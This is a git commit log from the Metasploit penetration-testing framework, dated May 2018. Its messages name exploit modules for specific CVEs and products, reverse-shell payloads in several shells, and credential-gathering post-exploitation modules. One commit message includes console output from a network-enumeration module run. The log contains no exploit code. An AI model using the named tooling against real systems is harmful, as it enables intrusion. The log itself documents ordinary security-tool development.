2018-05-17 13:04:50 +05:30
Auxilus
a28e277384
Update wireless_ap.md
2018-05-17 12:51:26 +05:30
Auxilus
1c2bc5a09b
Update wireless_ap.md
2018-05-17 12:50:54 +05:30
Brent Cook
da07113194
Land #10007 , add C interface for building Windows shell code (metasm-backed)
2018-05-16 22:58:32 -05:00
James Barnett
e1f46b07f8
VulnAttempt API Doc second pass
2018-05-16 16:57:55 -05:00
James Barnett
43f410ccd3
Fix format of REFS_EXAMPLE
2018-05-16 15:37:33 -05:00
James Barnett
5e39314a72
Vuln API Doc second pass.
2018-05-16 15:26:44 -05:00
bwatters-r7
7e34f27004
Land #9246 , Support RHOSTS for exploit modules
2018-05-16 14:40:25 -05:00
Brendan Coles
03c72a3ee5
Merge pull request #5 from timwr/pr-9947
...
fork earlier and cleanup files in module
2018-05-17 05:01:24 +10:00
Aaron Soto
c35c8e9c75
Update module name, per a good catch by @bcook
2018-05-16 13:55:45 -05:00
James Barnett
84a8f2100b
Merge branch 'master' into local_api_docs
2018-05-16 13:27:28 -05:00
William Vu
30dcb78eb5
Land #10042 , reload_lib improvements
2018-05-16 12:53:39 -05:00
William Vu
e3f806f582
Land #10041 , target selection by name updates
2018-05-16 12:52:54 -05:00
William Vu
365289b19e
Add janky regex check if we're reloading a module
2018-05-16 12:03:54 -05:00
James Barnett
edc06f6361
Second pass on SessionEvent API doc
2018-05-16 11:56:11 -05:00
Tim W
ce5b24eda0
fork early and cleanup files in module
2018-05-17 00:32:01 +08:00
William Vu
5addc54b4b
Refactor reload_lib and add multiple file support
2018-05-16 11:23:16 -05:00
William Vu
54908021aa
Update CommandDispatcher for target names, too
2018-05-16 10:39:22 -05:00
William Vu
2e002b24a0
Update Msf::Simple::Exploit for targeting by name
...
And accidentally add error checking.
2018-05-16 10:35:17 -05:00
Metasploit
3b78dd7e48
automatic module_metadata_base.pstore update
2018-05-16 05:23:39 -07:00
Jacob Robles
999b895735
Land #9816 , Add the scanner/smb/impacket/dcomexec module
2018-05-16 07:15:32 -05:00
Metasploit
c4983b39d7
automatic module_metadata_base.pstore update
2018-05-16 04:59:09 -07:00
William Vu
eb0ac79143
Land #9975 , local_exploit_suggester fixes
2018-05-16 06:48:02 -05:00
Metasploit
4eca3ba754
automatic module_metadata_base.pstore update
2018-05-16 04:23:41 -07:00
William Vu
2f8fbf8082
Land #10038 , struts_code_exec_parameters EXE fix
2018-05-16 06:18:20 -05:00
William Vu
739d58135f
Move EXE generation in struts_code_exec_parameters
2018-05-16 06:15:40 -05:00
Metasploit
2fa070d2df
automatic module_metadata_base.pstore update
2018-05-16 03:46:37 -07:00
William Vu
6ec0272ff5
Land #8727 , CVE-2017-9791 exploit
2018-05-16 05:41:26 -05:00
Metasploit
46adec8611
automatic module_metadata_base.pstore update
2018-05-16 03:39:20 -07:00
William Vu
eaec1d7486
Clean up module
2018-05-16 05:39:17 -05:00
William Vu
436e414b93
Land #7815 , CVE-2016-9299 exploit
2018-05-16 05:29:41 -05:00
William Vu
959cbde6eb
Clean up module
2018-05-16 05:29:25 -05:00
William Vu
ecffba5c55
Add warning to Mettle payloads for stage encoding
2018-05-16 05:03:31 -05:00
William Vu
908857b563
Land #10036 , reverse_bash_telnet_ssl fixes
2018-05-16 04:10:36 -05:00
William Vu
3810803276
Land #10035 , awk payload improvements
2018-05-16 04:10:21 -05:00
William Vu
6723de2659
Land #10031 , zsh payload improvements
2018-05-16 04:10:00 -05:00
William Vu
c2c46586cd
Land #10030 , reverse_ksh payload
2018-05-16 04:08:17 -05:00
William Vu
6abd0d068a
Nix explicit return
2018-05-16 04:06:58 -05:00
王一航
40ff01edc5
Merge pull request #1 from wvu-r7/pr/10031
...
Refactor zsh payloads, set the Variable CachedSize to 99
2018-05-16 15:41:59 +08:00
王一航
8969dffebb
Merge pull request #2 from wvu-r7/pr/10030
...
Redirect stderr as well in reverse_ksh
2018-05-16 11:38:14 +08:00
Brendan Coles
c5f980f633
GoodRanking
2018-05-16 02:38:19 +00:00
William Vu
3ea4548343
Fix PayloadType in reverse_bash_telnet_ssl
...
It should not be cmd_bash, since it doesn't rely on being in bash.
2018-05-15 20:50:30 -05:00
William Vu
49bfa3b707
Update CachedSize
2018-05-15 20:07:14 -05:00
William Vu
a19c5f723b
Improve bind_awk payload (credit @bcoles)
2018-05-15 20:01:57 -05:00
William Vu
5d229abf72
Improve reverse_awk payload (credit @bcoles)
2018-05-15 20:01:32 -05:00
William Vu
cc35975164
Update CachedSize
2018-05-15 19:56:55 -05:00
William Vu
1100899ccb
Change link to HTTPS
2018-05-15 19:56:42 -05:00
William Vu
3ccfc27096
Redirect stderr as well
2018-05-15 19:51:10 -05:00
William Vu
3f39475579
Update CachedSize
2018-05-15 19:42:39 -05:00
William Vu
b58dc3bf5e
Refactor zsh payloads
...
This also fixes an oversight where the payloads would fail outside zsh.
2018-05-15 19:26:19 -05:00
Brent Cook
b79b53c438
Land #9962 , tab-complete target options
2018-05-15 16:41:55 -05:00
James Barnett
fc079138fd
Service API doc second pass
2018-05-15 14:34:15 -05:00
Brendan Coles
7ebe0d6dc5
Use sudo -l rather than sudo -l -l
2018-05-15 18:53:52 +00:00
Aaron Soto
ac2f7b96f5
Added IPv6 support
2018-05-15 12:07:54 -05:00
WangYihang
49904e0377
Add an reverse shell payload by zsh through redirection operations
2018-05-15 22:43:37 +08:00
g0tmi1k
66c0610e2a
Add a check to make sure there is a valid encoder, else quit
2018-05-15 15:37:27 +01:00
WangYihang
53844cb24a
Add an reverse shell payload by ksh(the korn shell)
2018-05-15 22:36:47 +08:00
g0tmi1k
b24219a751
Reorder msfvenom options and add more --list types
2018-05-15 14:33:41 +01:00
Metasploit
9a18260d5e
automatic module_metadata_base.pstore update
2018-05-15 05:40:09 -07:00
Jacob Robles
40ccebc9bf
Land #10023 , fix ms17-010 psexec similar to 4a56ecf3ae
2018-05-15 07:33:39 -05:00
Auxilus
900480dd1a
check for root
2018-05-15 17:32:10 +05:30
Auxilus
e1786d1ae0
Update sub_info.rb
2018-05-15 16:55:52 +05:30
Green-m
492be19aa0
Use && instead of and
2018-05-15 05:18:38 -04:00
Green-m
a61d202586
Delete blank, fix typo and use single quote instead.
2018-05-15 04:27:36 -04:00
Green-m
03a7bb72af
Add exploit module for apache hadoop unauthorized command execution
2018-05-15 03:47:20 -04:00
Green-m
c5bdd2ca9d
Add doc for this module
2018-05-15 03:47:09 -04:00
zerosum0x0
4a64401a58
fix ms17-010 similar to 4a56ecf3ae
2018-05-14 15:45:20 -06:00
Matthew Kienow
7e145a09de
Fix spec tests to match existing methods
2018-05-14 17:43:24 -04:00
Matthew Kienow
73393b236c
Add missing data service stub methods
2018-05-14 17:42:52 -04:00
Matthew Kienow
f482995f74
Minor changes to be similar to other servlets
2018-05-14 17:40:37 -04:00
Matthew Kienow
b3a1f2531b
Update to use new hosts DataProxy method signature
2018-05-14 17:38:49 -04:00
Matthew Kienow
4b13fbb5a3
Add workaround for race condition in report_host
...
Modify to use DBManager methods rather than DataProxy
2018-05-14 17:36:33 -04:00
Matthew Kienow
262e791dcc
Make find_or_create_host opts more consistent
...
Modify to use DBManager methods rather than DataProxy
2018-05-14 17:35:18 -04:00
Matthew Kienow
25fdc02902
Modify to use find_or_create_host
2018-05-14 17:29:57 -04:00
Matthew Kienow
09a7396ad5
Remove remote data service find_or_create method
2018-05-14 17:20:58 -04:00
Matthew Kienow
02566071be
Implement find_or_create DataProxy methods
2018-05-14 17:09:20 -04:00
Brendan Coles
17bd9aafb3
Add post/multi/recon/sudo_commands
2018-05-14 18:31:24 +00:00
Adam Cammack
ac03a0723a
Factor external check shim into common template
2018-05-14 11:32:22 -05:00
Adam Cammack
1d168a84e5
Add 'unknown' fallback check status
...
`check` is not a fan of `fail_with`, so fallback when the external
module exits unsuccessfully.
2018-05-14 11:00:40 -05:00
Aaron Soto
3ce05e54c6
Added DNS resolution support
2018-05-14 10:55:53 -05:00
Metasploit
a7817564ea
automatic module_metadata_base.pstore update
2018-05-14 07:02:24 -07:00
Aaron Soto
f5a43f2ed0
Land #9991 , Remove need for temp file with xdebug_unauth_exec
2018-05-14 08:55:38 -05:00
lucyoa
8dd7a27f7b
Fixes according to code review
2018-05-14 05:46:23 -04:00
Brent Cook
0d1ff9c99b
Land #10020 , remove unneded require in msfupdate
2018-05-14 01:20:18 -05:00
Brent Cook
258c599354
remove "require 'os'", not needed or available
2018-05-14 01:16:55 -05:00
lucyoa
f65361258b
Adding vulnerable firmwares to description
2018-05-13 15:08:32 -04:00
lucyoa
382364a3ff
Adding documentation, improving description
2018-05-13 15:04:40 -04:00
lucyoa
c3ad02121c
Exploit for D-Link DSL2750B OS Command Injection vulnerability
2018-05-13 13:58:35 -04:00
Metasploit
cdd2d78c72
automatic module_metadata_base.pstore update
2018-05-12 02:34:07 -07:00
Tim W
ed5f2bffa9
Land #9919 , add libuser roothelper privilege escalation exploit
2018-05-12 17:11:21 +08:00
Tim W
a8660e4042
make the PASSWORD option required
2018-05-12 17:10:21 +08:00
Auxilus
64fcddb1aa
fix docs
2018-05-12 09:55:36 +05:30
Wei Chen
53938422c9
Add rspec for Metasploit::Framework::Compiler::Utils
2018-05-11 14:03:46 -05:00
Adam Cammack
b0e712e992
Add banner check exploit/linux/smtp/haraka
2018-05-11 12:45:32 -05:00
Adam Cammack
90f2fe545c
Add PEP8 whitespace to exploit/linux/smtp/haraka
2018-05-11 12:43:30 -05:00
Adam Cammack
e0fb1365e6
Add soft_check capability to external modules
...
A `soft_check` is something designed to evaluate the vulnerability of a
remote system without exploiting it (ex. banner checks, non-intrusive
fingerprinting).
2018-05-11 12:42:31 -05:00
Wei Chen
b1e767298f
Update doc
2018-05-11 10:30:15 -05:00
Wei Chen
ad0ba4f402
Update to update compile_c_to_file argument
2018-05-11 10:29:24 -05:00
Wei Chen
6cd59faa69
Namespace update
2018-05-11 10:27:54 -05:00
Wei Chen
76865732c8
Namespace update
2018-05-11 10:26:59 -05:00
Wei Chen
82c8138de0
Update naming and license
2018-05-11 10:08:16 -05:00
Wei Chen
2a7d0ddfd1
Add rspec
2018-05-10 22:45:36 -05:00
Wei Chen
d3f50f421d
Update regex
2018-05-10 22:39:49 -05:00
Green-m
0ef0fae2b2
rm test code
2018-05-10 22:17:38 -04:00
Adam Cammack
780b956dd1
Return results of external module runs
...
This will allow us to grab check results or more interesting things in
the future, if we decide that modules can have return values for more
types of things. Or this may go away and checks will use the reporting
interface like everything else.
2018-05-10 18:29:14 -05:00
Adam Cammack
147471fb79
Add constant for reverse check code lookup
2018-05-10 18:24:57 -05:00
Metasploit
e74fcd228c
Weekly dependency update
2018-05-10 10:06:05 -07:00
Jacob Robles
cc0fdee788
EmptyGroup advanced option, just in case...
2018-05-10 09:57:50 -05:00
Metasploit
1345fcdd46
automatic module_metadata_base.pstore update
2018-05-10 02:01:05 -07:00
Tim W
67c7a718db
Land #9868 , fix post/osx/capture/keylog_recorder
2018-05-10 16:47:57 +08:00
Wei Chen
caf07116db
Add compiler support capable of including headers.
...
This is basically a wrapper for metasm, but supports built-in
headers so that as an user, I don't have manually do this
every time I compile something with metasm.
2018-05-10 00:33:01 -05:00
Jeffrey Martin
5ab7c75cdc
Land #9994 , tidy tests, add ms17_010_psexec
2018-05-09 14:33:08 -05:00
Adam Cammack
271a2344db
Refactor external module API to be more reliable
...
Also:
Grabs exit status
Less boilerplate required for modules
2018-05-09 13:30:13 -05:00
Metasploit
2eb4689ca0
automatic module_metadata_base.pstore update
2018-05-09 10:08:38 -07:00
Jacob Robles
9811de430c
Land #9878 , Add MSF module for EDB 6768, Mantis <= v1.1.3 Post-auth RCE
2018-05-09 11:55:22 -05:00
Jacob Robles
a1fed72423
store credential, use vprints
2018-05-09 11:50:07 -05:00
Jacob Robles
79a0610436
remove empty group
2018-05-09 11:11:03 -05:00
Hypnoze57
08b81a418f
Customization of Golden Ticket Duration
...
- Post exploitation module updated
- Kiwi extention updated
Using mimikatz /startoffset and /endin params
Duration in hours, default already 10 years
2018-05-09 17:44:55 +02:00
William Vu
ffbca98bb5
Land #9996 , PRs from master are bad
...
PR's bad. Bad PR.
2018-05-08 18:05:26 -05:00
Brent Cook
be8b826ea3
include example of why PRs from master are bad
2018-05-08 17:54:14 -05:00
Brent Cook
60bed4bd1b
tidy tests, add ms17_010_psexec
2018-05-08 17:44:08 -05:00
Brent Cook
b27ad91cdb
Land #9994 , restore some SMB mixin aliases, add local definition
2018-05-08 17:10:27 -05:00
Brent Cook
4cf834d670
restore a few more mixin aliases for now
2018-05-08 17:10:01 -05:00
Brent Cook
25177ef9dc
add local CONST definition
2018-05-08 17:08:05 -05:00
Aaron Soto
40f1bb223d
Revert deleted code from #9986 . See issue #9993
2018-05-08 16:40:49 -05:00
James Barnett
d1701c37d6
Second pass on note API doc
2018-05-08 16:15:40 -05:00
James Barnett
bba77596c0
Second pass on loot API doc
2018-05-08 15:41:17 -05:00
James Barnett
07eb79e183
Second pass on creds, hosts, events, db_export, and exploits
2018-05-08 12:38:04 -05:00
James Barnett
0f33bd08c7
Update swagger UI files
2018-05-08 12:26:46 -05:00
miluxsec
5ed1bde65f
Removed unused FileDropper include
2018-05-08 18:10:29 +02:00
Adam Cammack
a72ab10777
Add initial Python library for login scanners
2018-05-07 17:42:41 -05:00
Matthew Kienow
70be536b36
Land #9939 , add remote data service rspec support
2018-05-07 18:07:02 -04:00
miluxsec
5038098efb
Remove need for writable directory when using xdebug exploit
...
By base64 encoding the exploit code and decoding it on the target the
need for writing a temporary file is removed.
See #9918
2018-05-07 22:11:21 +02:00
Adam Cammack
ee9da87f1e
Add shim for external login scanner modules
2018-05-07 15:05:44 -05:00
Metasploit
4b4a9dee5e
automatic module_metadata_base.pstore update
2018-05-07 13:02:23 -07:00
William Vu
0240c3f010
Land #9980 , PAN-OS readSessionVarsFromFile exploit
2018-05-07 14:55:00 -05:00
Adam Cammack
ee1059312f
Allow access to userpass_interval in AuthBrute
2018-05-07 14:41:48 -05:00
Metasploit
e527554143
automatic module_metadata_base.pstore update
2018-05-07 12:09:59 -07:00
Brent Cook
02849bcfd0
Land #9986 , initial ruby_smb simple client integration
2018-05-07 14:02:22 -05:00
Christopher Lee
e62799bdaf
Merge pull request #25 from rapid7/master
...
merge r7 master
2018-05-07 11:17:58 -05:00
Christopher Lee
0fa365f02f
Update .travis.yml
...
Added comment for remote data testing
2018-05-07 10:50:10 -05:00
Brent Cook
d3652c62d6
Land #9948 , optimize, then delete unused code (the ultimate optimization)
2018-05-07 10:19:15 -05:00
Brent Cook
3b8093f8c7
remove unused tests
2018-05-07 10:17:05 -05:00
Brent Cook
d3e6e93d6a
the fastest code is that which does not exist
2018-05-07 10:13:38 -05:00
Adam Cammack
524661617c
Allow DataStore to nest Arrays arbitrarily deep
2018-05-07 09:51:40 -05:00
Metasploit
76ec842de5
automatic module_metadata_base.pstore update
2018-05-07 07:41:18 -07:00
Jacob Robles
83c8964009
Land #9988 , playsms_uploadcsv_exec
2018-05-07 09:34:36 -05:00
Jacob Robles
a18459a14c
Fix indentation, documentation update
2018-05-07 09:22:21 -05:00
Touhid M Shaikh
235cac621f
playsms_CVE-2017-9101
...
playsms_CVE-2017-9101
2018-05-07 18:55:22 +05:30
Touhid M Shaikh
74793efdef
Delete playsms_uploadcsv_exec.rb
2018-05-07 18:54:35 +05:30
Touhid M Shaikh
fefaa45a50
playsms_CVE-2017-9101
...
playsms_CVE-2017-9101
2018-05-07 18:53:07 +05:30
Touhid M Shaikh
4c5c8c956c
added doc
...
added doc
2018-05-07 18:50:53 +05:30
Metasploit
c6d965f338
automatic module_metadata_base.pstore update
2018-05-07 05:51:11 -07:00
Jacob Robles
222b1fb27c
Land #9944 , playsms_filename_exec.rb
2018-05-07 07:43:16 -05:00
Jacob Robles
601411fe7b
store credentials
2018-05-07 07:26:28 -05:00
Jacob Robles
4b8ceab522
Fix indentation, update documentation
2018-05-07 07:22:53 -05:00
Brent Cook
0c391c4003
reduce sleeps for a test we're running on every PR
2018-05-07 06:55:02 -05:00
Brendan Coles
2331a610d6
Update documentation
2018-05-07 07:15:17 +00:00
Brendan Coles
4574de76e7
Add documentation
2018-05-07 07:11:42 +00:00
Brendan Coles
5ae9b0185d
Add AF_PACKET chocobo_root Privilege Escalation exploit
2018-05-07 07:11:07 +00:00
Green-m
24de2a3cd0
Merge branch 'master' into couchdb_cmd_exec
2018-05-07 02:53:13 -04:00
Brent Cook
ad78ee347b
run json files through 'python -m json.tool'
2018-05-07 00:29:23 -05:00
Brent Cook
3e7e1e59df
style updates, expand constants
2018-05-07 00:24:38 -05:00
Brent Cook
a4ecd43a8f
remove unused constants
2018-05-07 00:24:38 -05:00
Brent Cook
f12e106137
refresh standalone psexec a bit
2018-05-07 00:24:38 -05:00
Brent Cook
8463d94891
remove mostly unused shortcuts
2018-05-07 00:24:38 -05:00
Brent Cook
a9094d6b97
style updates
2018-05-07 00:24:38 -05:00
Brent Cook
0d51c96252
supress a few more questionable things
2018-05-07 00:24:38 -05:00
Brent Cook
4de2dc5f8c
don't disable smbv1 just yet
2018-05-07 00:24:38 -05:00
Jacob Robles
534d05ff44
simpleclient versions option
2018-05-07 00:24:38 -05:00
Jacob Robles
ff202a5f5b
Simpleclient/SMB2 support
2018-05-07 00:24:38 -05:00
Jacob Robles
d54992674f
Response code, Write fix
2018-05-07 00:24:38 -05:00
dmohanty-r7
7fa001ba50
Add tests for test lab
2018-05-07 00:24:38 -05:00
dmohanty-r7
f2cf4fd1dc
remove case for open smb file packet field
2018-05-07 00:24:38 -05:00
HD Moore
2a211d99af
Nuke base_directory after all, FileDropper does not like our path
2018-05-06 22:58:06 -05:00
HD Moore
a9f9d61f1e
Use the target_directory, not base
2018-05-06 22:56:59 -05:00
HD Moore
cd48507aab
Use FileDropper, switch to earlier target directory
2018-05-06 22:56:36 -05:00
HD Moore
1f7b13bea8
Additional module cleanup
2018-05-06 22:50:13 -05:00
HD Moore
369c74aa19
Doc typo
2018-05-06 22:32:26 -05:00
HD Moore
dece3e3386
Doc update
2018-05-06 22:25:55 -05:00
HD Moore
3d172df0c4
MD5 of TID and cleanup if statement
2018-05-06 22:24:36 -05:00
HD Moore
68f2e08400
Swap to positive logic
2018-05-06 22:22:47 -05:00
HD Moore
1997a57627
Count gooder
2018-05-06 22:21:40 -05:00
HD Moore
9712215e66
Add Bugtraq ID
2018-05-06 22:21:13 -05:00
HD Moore
5d57e9db34
Remove unnecessary RHOST definition
2018-05-06 22:20:51 -05:00
Green-m
96a354ffc4
Merge branch 'couchdb_cmd_exec' of https://github.com/Green-m/metasploit-framework
2018-05-06 23:07:14 -04:00
dmohanty-r7
960c733f16
Remove references to TreeId and FileID
2018-05-06 11:35:54 -05:00
dmohanty-r7
c3df160b6b
Reference inprogress branch
2018-05-06 11:27:11 -05:00
dmohanty-r7
5f7b050173
Get psexec and enumshares to stable state
2018-05-06 11:27:11 -05:00
dmohanty-r7
7b52bd343b
Temporarily reference ruby_smb branch for testing
2018-05-06 11:27:11 -05:00
dmohanty-r7
e25a718861
Simplify
2018-05-06 11:27:11 -05:00
dmohanty-r7
e9b78095be
Psexec works
2018-05-06 11:27:11 -05:00
dmohanty-r7
a9019585fe
Replace simpleclient's client with ruby_smb client
2018-05-06 11:27:11 -05:00
Auxilus
a612c4cc65
Update wireless_ap.rb
2018-05-06 17:37:12 +05:30
Auxilus
6bd31d7921
Update wireless_ap.rb
2018-05-06 17:33:20 +05:30
Auxilus
f32fda6757
Update wireless_ap.rb
2018-05-06 16:52:18 +05:30
Auxilus
39a35f3f6d
Merge pull request #1 from timwr/pr-9956
...
fix wpa_supplicant parsing
2018-05-06 16:48:00 +05:30
Tim W
3e949733e2
fix wpa_supplicant parsing
2018-05-06 19:11:35 +08:00
HD Moore
8141e949fc
Note the runtimes
2018-05-05 18:34:11 -05:00
HD Moore
a1092fcfd7
Add documentation
2018-05-05 15:48:44 -05:00
HD Moore
e775a97ae2
Adds panos_readsessionvars exploit module
2018-05-05 15:41:17 -05:00
Metasploit
0c7003e40c
automatic module_metadata_base.pstore update
2018-05-05 02:20:04 -07:00
Tim W
5f01b6abc9
Land #9977 , fix crash during x64 linux reverse_tcp stager retry
2018-05-05 17:13:00 +08:00
Brendan Coles
3aa7441e10
Update tested versions
2018-05-05 09:11:31 +00:00
Tim W
4216d06ffb
fix #9963 , update x64 linux reverse_tcp stager cached size
2018-05-05 16:30:45 +08:00
Brendan Coles
24af15b6e7
Update kernel version and system arch detection
2018-05-05 07:16:53 +00:00
Auxilus
40b6b97dbf
Update enum_network.rb
2018-05-05 10:56:55 +05:30
Auxilus
ec55a631ef
Check if the data is nil before pasisng to store_loot
...
when I ran this module for linux/aarch64/meterpreter_reverse_tcp for payload running in termux, it was obvious that without root the commands will return error, It still created empty files in `.msf4/loot`
```
msf5 post(linux/gather/enum_network) > run
[*] Running module against localhost.localdomain
[*] Module running as /system/bin/sh: /usr/bin/whoami: not found
[+] Info:
[+]
[+] Linux localhost 3.10.84-perf+ #1 SMP PREEMPT Tue Oct 24 01:07:25 CST 2017 aarch64 Android
[*] Collecting data...
[+] /system/bin/sh: /sbin/route: not found
[-] Failed to open file: /etc/ssh/sshd_config: core_channel_open: Operation failed: 1
[-] unable to get data for Network config
[+] Network config stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_735775.txt
[-] unable to get data for Route table
[+] Route table stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_599334.txt
[-] unable to get data for Firewall config
[+] Firewall config stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_790893.txt
[-] unable to get data for DNS config
[+] DNS config stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_867340.txt
[-] unable to get data for SSHD config
[+] SSHD config stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_900906.txt [-] unable to get data for Host file
[+] Host file stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_179877.txt
[-] unable to get data for Active connections
[+] Active connections stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_656035.txt [-] unable to get data for Wireless information
[+] Wireless information stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_168144.txt
[-] unable to get data for Listening ports
[+] Listening ports stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_999548.txt [-] unable to get data for If-Up/If-Down
[+] If-Up/If-Down stored in /data/data/com.termux/files/home/.msf4/loot/20180505105107_default_127.0.0.1_linux.enum.netwo_860869.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_network) >
```
2018-05-05 10:52:08 +05:30
Matthew Kienow
5322a682f6
Fix exception in verbose mode sessions listing
2018-05-05 00:50:07 -04:00
Matthew Kienow
cd38f56924
Add sessions cmd option to list inactive sessions
2018-05-05 00:42:22 -04:00
Brendan Coles
cb29b4cf7a
Update Local Exploit Suggester - Fix #9974
2018-05-05 04:41:58 +00:00
Matthew Kienow
06e178cba2
Add functionality to retrieve sessions
2018-05-05 00:39:56 -04:00
James Barnett
9228f4fb6b
Second pass on Event API doc
2018-05-04 17:08:33 -05:00
Adam Cammack
7c67d2b0b4
Add external module API for reporting passwords
2018-05-04 16:24:57 -05:00
Adam Cammack
0834c1aabd
Log when loading an invalid external module type
2018-05-04 15:55:21 -05:00
Aaron Soto
2cd0d3d90a
Rudamentary SOCKS5 functionality, CONNECT, IPv4, non-DNS only
2018-05-04 14:44:03 -05:00
Touhid M Shaikh
71d6841471
updated
...
indentation and fix CVE
2018-05-04 21:33:07 +05:30
Touhid M Shaikh
aa69fc9e77
updated
...
print_status to vprint_status
2018-05-04 21:13:26 +05:30
Touhid M Shaikh
e824f0f8b0
updated
...
added CVE, URL and done randomizing content
2018-05-04 21:00:04 +05:30
Touhid M Shaikh
14b18ccafb
updated
...
remove options sections
2018-05-04 20:42:23 +05:30
William Vu
aed4f067ba
Fix nil target_index in auto targeting
...
This exists on master when DefaultTarget < 0.
2018-05-03 21:59:24 -05:00
William Vu
8881d32a45
Add target selection and tab completion by name
2018-05-03 21:03:05 -05:00
Metasploit
de70a5935e
automatic module_metadata_base.pstore update
2018-05-03 16:48:31 -07:00
William Vu
697582ec2d
Land #9970 , final update to Drupalgeddon 2
2018-05-03 18:41:34 -05:00
William Vu
88f09dc302
Update a few stragglers in Drupalgeddon 2
...
1. I added a missed header and YARD to the Drupal mixin.
2. I decided to match discovered versions more liberally.
2018-05-03 18:35:25 -05:00
Metasploit
29c8423d76
automatic module_metadata_base.pstore update
2018-05-03 15:47:49 -07:00
William Vu
e024f9200f
Land #9968 , second round of Drupalgeddon 2 updates
2018-05-03 17:41:07 -05:00
William Vu
728d7bc065
Fix #9876 , second round of Drupalgeddon 2 updates
...
Thanks to a reviewer for noticing my drupal_unpatched? method was
tri-state because of an unrefactored return. Oops! :)
2018-05-03 17:38:32 -05:00
James Barnett
a5b9cc8cb8
Add Msf endpoint API doc
2018-05-03 17:16:04 -05:00
James Barnett
40c978e040
First pass at Vuln Attempt API doc
2018-05-03 16:59:30 -05:00
Metasploit
b7f5e6e89a
automatic module_metadata_base.pstore update
2018-05-03 14:41:52 -07:00
bwatters-r7
ce5be387c4
Land #8795 , Added CVE-2016-0040 Windows Privilege Escalation
...
Merge branch 'land-8795' into upstream-master
2018-05-03 16:33:53 -05:00
James Barnett
728850c61a
First pass at Session Event API doc
2018-05-03 16:00:56 -05:00
bwatters-r7
729461e448
Re-add compiled Binary
2018-05-03 15:50:15 -05:00
bwatters-r7
5a787bcce5
We don't need the application.c file
2018-05-03 15:08:42 -05:00
bwatters-r7
26f2bdbfb1
Change Platform toolset from 140 (vs2015) to 120 (vs2013)
2018-05-03 14:58:30 -05:00
bwatters-r7
16432efd8f
Remove binary file
2018-05-03 14:45:58 -05:00
bwatters-r7
c08f45223d
Clean up comment typos from copy/pasta
2018-05-03 14:43:31 -05:00
christopher lee
94de5a4e42
Add skip message, add event test
2018-05-03 14:20:32 -05:00
James Barnett
a11c7220b6
First pass at Event API doc
2018-05-03 14:20:23 -05:00
Metasploit
f768b2ac29
Weekly dependency update
2018-05-03 10:06:08 -07:00
bwatters-r7
96b892a546
Make Rubocop happy
2018-05-03 11:30:05 -05:00
bwatters-r7
f0f6f9610a
Update Docs per h00die
2018-05-03 08:42:28 -05:00
Pierre Lestringant
9338de15d3
Fix stack in payload/linux/x64/reverse_tcp
2018-05-03 15:34:00 +02:00
Brendan Coles
d3e46ca33c
Add documentation
2018-05-03 13:00:01 +00:00
Brendan Coles
3a688451b6
Add Reliable Datagram Sockets (RDS) Privilege Escalation
2018-05-03 12:51:21 +00:00
Tim W
2c7692ac63
Land #9965 , add author name to wlan_probe_request module
2018-05-03 18:45:23 +08:00
Tim W
50300426ca
fix feedback from code review
2018-05-03 18:28:14 +08:00
Borja Merino
916dfa56fe
Add author name to the wlan_probe_request post-exploitation module
2018-05-03 11:41:09 +02:00
James Barnett
249db505c8
First pass at Credential API doc
...
Also get the workspace from the query string for credentials
2018-05-02 16:47:39 -05:00
Auxilus
02920728a4
Update sub_info.rb
2018-05-03 02:51:39 +05:30
James Barnett
6bc4e2d622
First pass for Nmap api doc
2018-05-02 15:44:07 -05:00
christopher lee
038fe03777
Merge branch 'master' into ms-2962
2018-05-02 15:31:57 -05:00
christopher lee
a7ec7b52b7
Fix error on data server due to unexpected report_exploit call
2018-05-02 14:59:02 -05:00
James Barnett
e3c913e104
First pass for Exploit API doc
...
Also fixed a few formatting issues in other docs
2018-05-02 14:47:17 -05:00
James Barnett
5e9bbb4bef
Merge branch 'master' into local_api_docs
2018-05-02 11:48:13 -05:00
James Barnett
e1827bb2c3
DbExport API doc first pass
2018-05-02 11:40:56 -05:00
Auxilus
7a47e2aa25
Update sub_info.rb
2018-05-02 22:02:09 +05:30
Auxilus
2619b457f8
Add docs
2018-05-02 21:54:46 +05:30
Auxilus
bd92d189f4
Update sub_info.rb
2018-05-02 21:48:01 +05:30
James Barnett
fd8d30812e
Add swagger-ui to view formatted API docs
2018-05-02 10:27:56 -05:00
Auxilus
e87116a5c1
Minor fixes
2018-05-02 20:51:30 +05:30
Auxilus
1c89bd80d9
Update sub_info.rb
2018-05-02 20:44:21 +05:30
Auxilus
c6df12dccb
Add android post module to extract subscriber info
2018-05-02 20:41:54 +05:30
Auxilus
98d81476f7
Fix get_password for pwds with ", = etc
2018-05-02 19:09:36 +05:30
Guilherme Leite
0e6e4bcdd3
adding more information on the target
...
- Added information on the server and Database versions
- Example on product id output
2018-05-02 10:36:46 -03:00
Auxilus
fa727f5394
Update wireless_ap.rb
2018-05-02 18:22:00 +05:30
Auxilus
6440951b73
Add doc for wireless_ap module
2018-05-02 18:04:34 +05:30
Jacob Robles
d6cf32fad8
Land #9821 , osCommerce 2.3.4.1 - Remote Code Execution
2018-05-02 07:29:15 -05:00
Jacob Robles
fc2c42f725
Land #9960 , fix continuation warnings in payloads
2018-05-02 06:28:17 -05:00
Auxilus
773e06b3ca
Update wireless_ap.rb
2018-05-02 01:28:15 +05:30
Auxilus
2817ff25cb
Update wireless_ap.rb
2018-05-02 00:00:34 +05:30
Auxilus
614de11a9c
Update wireless_ap.rb
2018-05-02 00:00:05 +05:30
Auxilus
9b00a5cffb
store loot
2018-05-01 23:10:29 +05:30
Auxilus
29467c2e37
Stylize the output
2018-05-01 22:58:17 +05:30
BennyHusted
c62fc79537
Fixed typo in description.
2018-05-01 11:37:33 -04:00
BennyHusted
89d6ded805
